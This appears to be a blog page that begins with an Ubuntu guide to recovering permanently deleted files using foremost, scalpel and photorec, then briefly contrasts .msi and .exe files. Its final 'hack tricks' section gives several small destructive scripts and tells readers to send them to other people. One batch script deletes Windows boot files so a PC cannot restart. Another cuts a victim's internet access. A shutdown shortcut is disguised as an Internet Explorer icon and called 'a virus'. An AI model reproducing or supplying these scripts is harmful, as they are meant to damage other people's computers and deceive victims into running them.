android jones

 How to recover the Permanently (shift+delete )Deleted file in Ubuntu

      Sometimes we delete the files permanently, and realize its importance to restore it.

Here is the solution

Foremost

          Foremost is a free software to recover files
            1.) Install foremost

                                       sudo aptitude install foremost

Foremost examples

Search for jpeg format skipping the first 100 blocks

                                   sudo foremost -s 100 -t jpg -i image.dd


Search for gif and pdf

                                    sudo foremost -t gif,pdf -i image.dd

Search  for office documents and jpeg files in a Unix file sys-tem in verbose mode.

                              sudo foremost -v -t ole,jpeg -i image.dd

scalpel

Scalpel to recover the Deleted file.

               A Frugal, High Performance File CarverA fast file carver that reads a database of header and footer definitions and extracts matching files from a set of image files or raw device files. Scalpel is filesystem-independent and will carve files from FATx, NTFS, ext2/3, or raw partitions. It is useful for both digital forensics investigation and file recovery.

1.)  Install scalpel in Ubuntu

                                   sudo aptitude install scalpel

2.) open the scalpel.conf file in gedit using the below command

                                  gedit  /etc/scalpel/scalpel.conf   

3.) Uncomment all the Lines by deleting the   ' # '




  4.) sudo scalpel "FILE"  -o  "Directory "
Where FILE is the image file (or device) and Directory is the output directory.




   5.) Run the following command in terminal to recover your data.(specify the output directory in the below command)
                 
                                scalpel /dev/sda1 -o output

           

  Photorec :

 Photorec to recover the Deleted file.

           It is the fastest utility of the three .You will find the photorec utility under the package of testdisk utility. If you don't want to mess with too much of commands , then this utility is the best for you. All you need is to type the photorec as root in the terminal/terminator .

           Select the device on which you want to operate the search operation and then it will ask you for the partition table type. Select according to yours . In my case its Intel . As soon as you select the option, it will ask you to select the file system or partition of the device disk. Then it will prompt you to the filesystem selection screen.


             * indicates the mounted partition. Select the appropriate file system. Then in the end it will ask you for the folder where you want to restore the deleted files. After selection press y to proceed. Although utilities are there to recover your file I would recommend you guys to keep a habit of using plain old delete and not “Shift+Del” because prevention is always better than cure :D:D

Let start with

What is .msi file

To Install .msi File in Ubuntu

 Difference Between msi & exe file

           EXE files can be anything. Almost everything you run on your computer is started by an EXE file (exceptions are Windows itself, drivers). They contain executable code for a computer to run, and can do anything.

          MSI files are database files, used by Windows Installer. They contain information about an application which is divided into features and components, and every component may hold files, registry data, shortcuts etc. The MSI file also contains the UI that is to be used for installing, and various other data such as any prerequisites to look for, custom actions to execute, the order of the installation procedure, whether to support Administrative installations, etc. It can also contain the actual files to be installed themselves (this isn't always the case though, the files can also be in an external CAB file or just as plain uncompressed files in a location where MSI can find them).

   Here there are some dangerous script to perform some hack tricks

How to crash a PC Forever !

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)
**Also remember this might not work with vista.**

How to stop someone's internet access:

@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

ShutDown PC million Times:

1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a




      save this as .bat file


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